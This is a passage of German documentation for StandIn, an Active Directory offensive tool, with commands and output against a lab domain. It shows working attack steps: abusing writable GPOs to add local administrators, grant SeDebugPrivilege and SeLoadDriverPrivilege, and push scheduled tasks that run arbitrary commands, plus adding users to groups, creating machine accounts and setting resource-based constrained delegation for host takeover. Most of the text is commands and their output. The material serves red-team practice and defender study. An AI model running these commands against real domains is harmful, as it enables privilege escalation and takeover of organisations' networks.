Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[*] SamAccountName : user001
DistinguishedName : CN=user 001,CN=Users,DC=redhook,DC=local
[+] Adding servicePrincipalName : MSSQL/Alchimiae
|_ Success
C:\> StandIn.exe --object samaccountname=user001 --filter serviceprincipalname
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[?] Iterating object properties
|_ Applying property filter => serviceprincipalname
[+] serviceprincipalname
|_ HTTP/Alchimiae
|_ MSSQL/Alchimiae
C:\>StandIn.exe --setspn user001 --principal HTTP/Alchimiae --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[*] SamAccountName : user001
DistinguishedName : CN=user 001,CN=Users,DC=redhook,DC=local
ServicePrincipalName : HTTP/Alchimiae
MSSQL/Alchimiae
[+] Removing servicePrincipalName : HTTP/Alchimiae
|_ Success
C:\> StandIn.exe --object samaccountname=user001 --filter serviceprincipalname
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[?] Iterating object properties
|_ Applying property filter => serviceprincipalname
[+] serviceprincipalname
|_ MSSQL/Alchimiae
Diese Funktion listet alle Konten auf, die Berechtigungen für unconstrained-, constrained- oder resource-based constrained-Delegierung besitzen. Diese Objekte können genutzt werden, um Zugriff zu erweitern oder Ziele zu erreichen.
Gibt alle Konten zurück, die entweder unconstrained- oder constrained-Delegierungsberechtigungen oder eingehende resource-based-constrained-Delegierungsrechte besitzen.``` C:> StandIn.exe --delegation
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 3 object(s) with unconstrained delegation..
[*] SamAccountName : M-2019-03$ DistinguishedName : CN=M-2019-03,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[*] SamAccountName : M-W16-DC01$ DistinguishedName : CN=M-W16-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[*] SamAccountName : M-W19-DC01$ DistinguishedName : CN=M-W19-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[?] Found 2 object(s) with constrained delegation..
[*] SamAccountName : M-2019-04$ DistinguishedName : CN=M-2019-04,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local msDS-AllowedToDelegateTo : HOST/m-w16-dc01.main.redhook.local/main.redhook.local HOST/m-w16-dc01.main.redhook.local HOST/M-W16-DC01 HOST/m-w16-dc01.main.redhook.local/MAIN HOST/M-W16-DC01/MAIN Protocol Transition : False userAccountControl : WORKSTATION_TRUST_ACCOUNT
[*] SamAccountName : M-2019-05$ DistinguishedName : CN=M-2019-05,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local msDS-AllowedToDelegateTo : cifs/m-2012r2-03.main.redhook.local cifs/M-2012R2-03 Protocol Transition : True userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
[?] Found 1 object(s) with resource-based constrained delegation..
[*] SamAccountName : M-10-1909-01$ DistinguishedName : CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local Inbound Delegation : Server Admins [GROUP] userAccountControl : WORKSTATION_TRUST_ACCOUNT
## DC's
#### Use Case
> *Diese Funktion bietet Situationsbewusstsein, indem sie alle Domänencontroller findet und einige ihrer Eigenschaften einschließlich ihrer Rollenzuweisungen auflistet.*
#### Syntax
Alle Domänencontroller abrufen.```
C:\> StandIn.exe --dc
[?] Using DC : m-w16-dc01.main.redhook.local
|_ Domain : main.redhook.local
[*] Host : m-w16-dc01.main.redhook.local
Domain : main.redhook.local
Forest : main.redhook.local
SiteName : Default-First-Site-Name
IP : 10.42.54.5
OSVersion : Windows Server 2016 Datacenter
Local System Time UTC : Tuesday, 03 November 2020 03:29:17
Role : SchemaRole
NamingRole
PdcRole
RidRole
InfrastructureRole
[*] Host : m-w19-dc01.main.redhook.local
Domain : main.redhook.local
Forest : main.redhook.local
SiteName : Default-First-Site-Name
IP : 10.42.54.13
OSVersion : Windows Server 2019 Datacenter
Local System Time UTC : Tuesday, 03 November 2020 03:29:17
Diese Funktion schafft Situationsbewusstsein, indem sie alle Domänenvertrauensstellungen findet.
Alle Vertrauensstellungen für die aktuelle Domäne abrufen.``` C:> StandIn.exe --trust
[?] Using DC : m-w16-dc01.main.redhook.local |_ Domain : main.redhook.local
[>] Source : main.redhook.local Target : redhook.local TrustDirection : Bidirectional TrustType : ParentChild
## GPO-Operationen
Diese Funktionen befassen sich speziell mit der GPO-Manipulation.
### GPOs auflisten
#### Anwendungsfall
> *Diese Funktion kann alle Domain-`Group Policy`-Objekte aufzählen. Optional können Sie mit `--filter` und `--limit` die Anzahl der zurückgegebenen Einträge eingrenzen. Sie können auch die ACL's für die GPO-Objekte mit `--acl` abfragen.*
#### Syntax
GPO-Objekte aufzählen und GPO-ACL's überprüfen.```
C:\> StandIn.exe --gpo
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO result count : 3
|_ Result limit : 50
[?] Object : CN={6AC1786C-016F-11D2-945F-00C04fB984F9}
Path : LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Default Domain Controllers Policy
CN : {6AC1786C-016F-11D2-945F-00C04fB984F9}
GPCFilesysPath : \\redhook.local\sysvol\redhook.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
GPCMachineExtensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
WhenCreated : 6/3/2021 10:30:25 AM
WhenChanged : 6/3/2021 10:30:25 AM
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9}
Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Default Domain Policy
CN : {31B2F340-016D-11D2-945F-00C04FB984F9}
GPCFilesysPath : \\redhook.local\sysvol\redhook.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
GPCMachineExtensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
WhenCreated : 6/3/2021 10:30:25 AM
WhenChanged : 6/5/2021 11:59:55 PM
[?] Object : CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : LDAP://CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Shards
CN : {028A7368-C524-46AA-B27A-CE8BDAC4EA66}
GPCFilesysPath : \\redhook.local\SysVol\redhook.local\Policies\{028A7368-C524-46AA-B27A-CE8BDAC4EA66}
GPCMachineExtensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
WhenCreated : 6/4/2021 2:11:43 PM
WhenChanged : 6/4/2021 11:33:33 PM
C:\> StandIn.exe --gpo --filter Shards --acl
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO result count : 1
|_ Result limit : 50
|_ Applying search filter
[?] Object : CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : LDAP://CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66},CN=Policies,CN=System,DC=redhook,DC=local
GPCFilesysPath : \\redhook.local\SysVol\redhook.local\Policies\{028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : OK
[+] Account : CREATOR OWNER
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : InheritOnly
[+] Account : NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
Type : Allow
Rights : ReadAndExecute, Synchronize
Inherited ACE : False
Propagation : None
[+] Account : NT AUTHORITY\Authenticated Users
Type : Allow
Rights : ReadAndExecute, Synchronize
Inherited ACE : False
Propagation : None
[+] Account : NT AUTHORITY\SYSTEM
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\Domain Admins
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\Enterprise Admins
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\user001
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
Mit den entsprechenden Berechtigungen ist es möglich, einen Domänenbenutzer der Gruppe
BUILTIN\Administratorsauf einer angreifbaren GPO hinzuzufügen.
Fügt einen Benutzer zur Gruppe BUILTIN\Administrators für alle verknüpften Computerobjekte hinzu, die an die Shards GPO gebunden sind. Diese Funktion kann sowohl die erforderlichen Dateien erstellen als auch vorhandene Dateien aktualisieren. Mit Vorsicht verwenden.```
C:> StandIn.exe --gpo --filter Shards --localadmin user002
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[+] User Object Found Object : CN=user 002 Path : LDAP://CN=user 002,CN=Users,DC=redhook,DC=local SID : S-1-5-21-315358687-3711474269-2098994107-1106
[?] GPO Version User : 0 Computer : 0
[+] Writing GPO changes |_ Creating GptTmpl.inf |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Creating gPCMachineExtensionNames
### GPO-Benutzerberechtigung hinzufügen
> *Mit den entsprechenden Berechtigungen ist es möglich, einem Domänenbenutzer ein Token-Privileg auf einem anfälligen GPO zu aktivieren.*
#### Syntax
Füge dem Benutzerkonto das `token`-Privileg für alle verknüpften Computerobjekte hinzu, die an das `Shards`-GPO gebunden sind. Diese Funktion kann sowohl die erforderlichen Dateien erstellen als auch vorhandene Dateien aktualisieren. **Mit Vorsicht verwenden.**```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
[+] Validating account rights
|_ Rights count: 2
|_ SeDebugPrivilege
|_ SeLoadDriverPrivilege
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[+] User Object Found
Object : CN=user 002
Path : LDAP://CN=user 002,CN=Users,DC=redhook,DC=local
SID : S-1-5-21-315358687-3711474269-2098994107-1106
[?] GPO Version
User : 0
Computer : 1
[+] Writing GPO changes
|_ Updating existing GptTmpl.inf
|_ Adding GPO Privileges
|_ Updating revision
|_ Updating gpt.inf
|_ Updating AD object
|_ Incrementing version number
|_ Updating gPCMachineExtensionNames
Mit den entsprechenden Berechtigungen ist es möglich, eine sofortige Aufgabe entweder der
User- oder derComputer-Komponente des GPO hinzuzufügen. Optional können diese Aufgaben eingeschränkt werden, um nur für einen einzelnen Benutzer oder einen einzelnen Computer zu gelten.
Fügen Sie eine generische Computer-Aufgabe hinzu, die für alle verknüpften Computerobjekte ausgeführt wird, die an das GPO Shards gebunden sind. Fügen Sie außerdem eine gezielte User-Aufgabe hinzu, die nur für einen bestimmten Domänenbenutzer ausgeführt wird. Diese Funktion kann sowohl die erforderlichen Dateien erstellen als auch vorhandene Dateien aktualisieren. Mit Vorsicht verwenden.```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[?] GPO Version User : 0 Computer : 2
[+] Writing GPO changes |_ Creating ScheduledTasks.xml |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Updating gPCMachineExtensionNames
C:> StandIn.exe --gpo --filter Shards --tasktype user --taskname Ivonis --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args" --target "REDHOOK\user001" --targetsid S-1-5-21-315358687-3711474269-2098994107-1105
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[?] GPO Version User : 0 Computer : 3
[+] Writing GPO changes |_ Creating ScheduledTasks.xml |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Creating gPCUserExtensionNames
### GPO Benutzer-/Computer-Version erhöhen
> *Während die vorherigen GPO-Funktionen mächtige Ausnutzungsprimitive bieten, kann es nützlich sein, die Möglichkeit zu haben, `GPO's` auf `SysVol` manuell zu bearbeiten. Sobald eine GPO manuell geändert wurde, sollte die AD-Objektversion synchronisiert werden, um die Änderungen korrekt zu propagieren. Diese Funktion erledigt das.*
#### Syntax
Erhöhen Sie die `User`- oder `Computer`-GPO-Version auf dem zugehörigen AD-Objekt.```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --increase --tasktype user
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[?] Current GPO Versioning
User : 1
Computer : 3
--> Incrementing user version
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --increase --tasktype computer
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[?] Current GPO Versioning
User : 2
Computer : 3
--> Incrementing computer version
Diese Funktion versucht, einige grundlegende Richtlinieninformationen für die Situationswahrnehmung anzuzeigen.
Lesen Sie die Default Domain Policy und extrahieren Sie einige Benutzer-/Sitzungsrichtlinieninformationen. Falls die Standardrichtlinie umbenannt wurde, können Sie sie mit --filter angeben, alternativ können Sie eine --object-Abfrage für den Domänenstamm (z.B. distinguishedname=DC=redhook,DC=local) durchführen.```
C:> StandIn.exe --policy
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9} Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local Policy Root : \redhook.local\sysvol\redhook.local\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Domain Policy |_ MinimumPasswordAge : 1 |_ MaximumPasswordAge : 42 |_ MinimumPasswordLength : 7 |_ PasswordComplexity : 1 |_ PasswordHistorySize : 24 |_ LockoutBadCount : 5 |_ ResetLockoutCount : 30 |_ LockoutDuration : 30 |_ LSAAnonymousNameLookup : 0 |_ Kerberos max User ticket lifetime : 10 |_ Kerberos max Service ticket lifetime : 600 |_ Kerberos max User ticket renewal lifetime : 7
## DNS
#### Anwendungsfall
> *Diese Funktion ruft DNS-Informationen aus der Domäne von AD ab und unterstützt Wildcard-Filter.*
#### Syntax
Liest DNS-Einträge unter bestimmten `CN=MicrosoftDNS`-Objekten aus und analysiert die binären DNS-Daten. Die `search base` kann durch die Angabe von `--legacy` oder `--forest` angepasst werden. Sie können auch die Ergebnisse mit `--limit` einschränken.```
C:\Users\user001\Desktop>StandIn.exe --dns --filter RedHook-CLI
[+] Search Base: LDAP://DC=redhook.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=redhook,DC=local
[+] Object : RedHook-CLI-01
|_ DNS_RPC_RECORD_A : 10.0.0.100
[+] Object : RedHook-CLI-02
|_ DNS_RPC_RECORD_A : 10.0.0.101
Diese Funktion bietet Lagebewusstsein, indem sie alle Mitglieder einer Domänengruppe auflistet, einschließlich ihres Typs (Benutzer oder verschachtelte Gruppe). Als Eingabe kann auch ein
samAccountNameverwendet werden, und sie gibt die Gruppen zurück, in denen der Benutzer Mitglied ist.
Gruppenmitgliedschaften oder Benutzermitgliedschaften auflisten und grundlegende Details zu den Mitgliedsobjekten bereitstellen.``` C:> StandIn.exe --group "Server Admins"
[?] Using DC : m-w16-dc01.main.redhook.local [?] Type : Group resolution Group : Server Admins
[+] Members
[?] Path : LDAP://CN=Workstation Admins,OU=Groups,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : Workstation Admins Type : SAM_GROUP_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1108
[?] Path : LDAP://CN=Server Admin 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin001 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1111
[?] Path : LDAP://CN=Server Admin 002,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin002 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1184
[?] Path : LDAP://CN=Server Admin 003,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin003 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1185
[?] Path : LDAP://CN=Server Admin 004,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin004 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1186
[?] Path : LDAP://CN=Server Admin 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin005 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1187
[?] Path : LDAP://CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : SimCritical Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1204
C:> StandIn.exe --group user001
[?] Using DC : m-w16-dc01.main.redhook.local [?] Type : User resolution User : user 001
[+] Memberships
[?] Path : LDAP://<SID=010500000000000515000000dffdcb125d9a38ddbb1b1c7d01020000> samAccountName : Domain Users Type : SAM_GROUP_OBJECT SID : S-1-5-21-315358687-3711474269-2098994107-513
### Benutzer zur Gruppe hinzufügen / aus Gruppe entfernen
#### Anwendungsfall
> *Mit entsprechendem Zugriff kann der Operator ein NTAccount zu einer Domänengruppe hinzufügen oder daraus entfernen.*
#### Syntax
Fügen Sie eine NTAccount-Kennung zu einer Domänengruppe hinzu. Normalerweise wäre dies ein Benutzer, es könnte aber auch eine Gruppe sein. Entfernen Sie schließlich die NTAccount-Kennung aus der Domänengruppe.```
C:\> StandIn.exe --group lowprivbutmachineaccess
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Type : Group resolution
Group : lowprivbutmachineaccess
[+] Members
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : s4uUser
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:\> StandIn.exe --group lowprivbutmachineaccess --ntaccount "MAIN\user001" --add
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Group : lowPrivButMachineAccess
GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Adding user to group
|_ Success
C:\> StandIn.exe --group lowprivbutmachineaccess
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Type : Group resolution
Group : lowprivbutmachineaccess
[+] Members
[?] Path : LDAP://CN=User 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : user001
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1106
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : s4uUser
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:\> StandIn.exe --group testgroup --ntaccount "MAIN\user001" --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Group : lowPrivButMachineAccess
GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Removing user from group
|_ Success
Diese Funktionen sind speziell für Maschinenoperationen vorgesehen und erwarten den Maschinennamen als Eingabe.
Der Operator möchte möglicherweise ein Maschinenobjekt erstellen, um einen ressourcenbasierten eingeschränkten Delegationsangriff durchzuführen. Standardmäßig kann jeder Domänenbenutzer bis zu 10 Maschinen in der lokalen Domäne erstellen.
Erstellen Sie ein neues Maschinenobjekt mit einem zufälligen Passwort. Der Benutzer ms-DS-MachineAccountQuota gilt für diesen Vorgang.```
C:> StandIn.exe --computer M-1337-b33f --make
[?] Using DC : m-w16-dc01.main.redhook.local |_ Domain : main.redhook.local |_ DN : CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local |_ Password : MlCGkaacS5SRUOt
[+] Machine account added to AD..
Die `ms-DS-MachineAccountQuota`-Eigenschaft existiert im Stammobjekt der Domäne. Wenn Sie das Kontingent überprüfen müssen, können Sie eine Objektsuche wie unten gezeigt durchführen.```
C:\> StandIn.exe --object ms-DS-MachineAccountQuota=*
Standardbenutzer haben nicht die Möglichkeit, ein Maschinenobjekt zu löschen, jedoch kann ein Benutzer, der eine Maschine erstellt, diese anschließend deaktivieren.
Deaktivieren Sie eine zuvor erstellte Maschine. Diese Aktion sollte im Kontext desselben Benutzers ausgeführt werden, der die Maschine erstellt hat. Beachten Sie, dass nicht erhöhte Benutzer Maschinenobjekte nicht löschen, sondern nur deaktivieren können.``` C:> StandIn.exe --computer M-1337-b33f --disable
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-1337-b33f Path : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local
[+] Machine account currently enabled |_ Account disabled..
### Maschinenobjekt löschen
#### Anwendungsfall
> *Mit erhöhten AD-Berechtigungen kann der Operator ein Maschinenobjekt löschen, wie eines, das früher in der Angriffskette erstellt wurde.*
#### Syntax
Verwenden Sie einen erhöhten Kontext, um ein Maschinenobjekt zu löschen.```
C:\> StandIn.exe --computer M-1337-b33f --delete
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=M-1337-b33f
Path : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local
[+] Machine account deleted from AD
Mit Schreibzugriff auf ein Maschinenobjekt ermöglicht diese Funktion dem Operator, die
msDS-AllowedToActOnBehalfOfOtherIdentity-Eigenschaft zur Maschine hinzuzufügen, die erforderlich ist, um einen ressourcenbasierten eingeschränkten Delegationsangriff durchzuführen.
Fügen Sie der Maschine eine msDS-AllowedToActOnBehalfOfOtherIdentity-Eigenschaft zusammen mit einer SID hinzu, um die Host-Übernahme mittels ressourcenbasierter eingeschränkter Delegation zu erleichtern.```
C:> StandIn.exe --computer m-10-1909-03 --sid S-1-5-21-1293271031-3053586410-2290657902-1205
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-03 Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] SID added to msDS-AllowedToActOnBehalfOfOtherIdentity
C:> StandIn.exe --object samaccountname=m-10-1909-03$
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-03 Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[?] Iterating object properties
[+] logoncount |_ 107 [+] codepage |_ 0 [+] objectcategory |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local [+] iscriticalsystemobject |_ False [+] operatingsystem |_ Windows 10 Enterprise [+] usnchanged |_ 195771 [+] instancetype |_ 4 [+] name |_ M-10-1909-03 [+] badpasswordtime |_ 7/9/2020 5:07:11 PM UTC [+] pwdlastset |_ 10/29/2020 6:44:08 PM UTC [+] serviceprincipalname |_ TERMSRV/M-10-1909-03 |_ TERMSRV/m-10-1909-03.main.redhook.local |_ WSMAN/m-10-1909-03 |_ WSMAN/m-10-1909-03.main.redhook.local |_ RestrictedKrbHost/M-10-1909-03 |_ HOST/M-10-1909-03 |_ RestrictedKrbHost/m-10-1909-03.main.redhook.local |_ HOST/m-10-1909-03.main.redhook.local [+] objectclass |_ top |_ person |_ organizationalPerson |_ user |_ computer [+] badpwdcount |_ 0 [+] samaccounttype |_ SAM_MACHINE_ACCOUNT [+] lastlogontimestamp |_ 10/29/2020 12:29:26 PM UTC [+] usncreated |_ 31127 [+] objectguid |_ c02cff97-4bfd-457c-a568-a748b0725c2f [+] localpolicyflags |_ 0 [+] whencreated |_ 7/9/2020 5:05:08 PM [+] adspath |_ LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] useraccountcontrol |_ WORKSTATION_TRUST_ACCOUNT [+] cn |_ M-10-1909-03 [+] countrycode |_ 0 [+] primarygroupid |_ 515 [+] whenchanged |_ 11/2/2020 7:55:14 PM [+] operatingsystemversion |_ 10.0 (18363) [+] dnshostname |_ m-10-1909-03.main.redhook.local [+] dscorepropagationdata |_ 10/30/2020 6:56:30 PM |_ 10/30/2020 10:55:22 AM |_ 10/29/2020 4:58:51 PM |_ 10/29/2020 4:58:29 PM |_ 1/1/1601 12:00:01 AM [+] lastlogon |_ 11/2/2020 9:07:20 AM UTC [+] distinguishedname |_ CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] msds-supportedencryptiontypes |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [+] samaccountname |_ M-10-1909-03$ [+] objectsid |_ S-1-5-21-1293271031-3053586410-2290657902-1127 [+] lastlogoff |_ 0 [+] msds-allowedtoactonbehalfofotheridentity |_ BinLen : 36 |_ AceQualifier : AccessAllowed |_ IsCallback : False |_ OpaqueLength : 0 |_ AccessMask : 983551 |_ SID : S-1-5-21-1293271031-3053586410-2290657902-1205 |_ AceType : AccessAllowed |_ AceFlags : None |_ IsInherited : False |_ InheritanceFlags : None |_ PropagationFlags : None |_ AuditFlags : None [+] accountexpires |_ 0x7FFFFFFFFFFFFFFF
### Remove msDS-AllowedToActOnBehalfOfOtherIdentity
#### Anwendungsfall
> *Mit Schreibzugriff auf ein Maschinenobjekt ermöglicht diese Funktion dem Operator, eine zuvor hinzugefügte Eigenschaft `msDS-AllowedToActOnBehalfOfOtherIdentity` von der Maschine zu entfernen.*
#### Syntax
Entfernen Sie die zuvor erstellte Eigenschaft `msDS-AllowedToActOnBehalfOfOtherIdentity` von einer Maschine.```
C:\> StandIn.exe --computer m-10-1909-03 --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=M-10-1909-03
Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] msDS-AllowedToActOnBehalfOfOtherIdentity property removed..
Dies sind Begleitfunktionen zu Certify. Sie können template-Angriffe ermöglichen, bei denen der Standard-Template-Zustand nicht sofort nutzbar ist.
Diese Funktion kann alle
domain CA'sauflisten und zeigt alleveröffentlichten Templatesan. Optional können Sie mit--filterden vollständigen Template-Namen oder einen Teil des Namens mit Platzhaltern durchsuchen.
Suche alle veröffentlichten Templates und filtere in diesem Fall die Ausgabe, um nur Templates zurückzugeben, die mit web übereinstimmen.```
C:>StandIn.exe --adcs --filter web
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
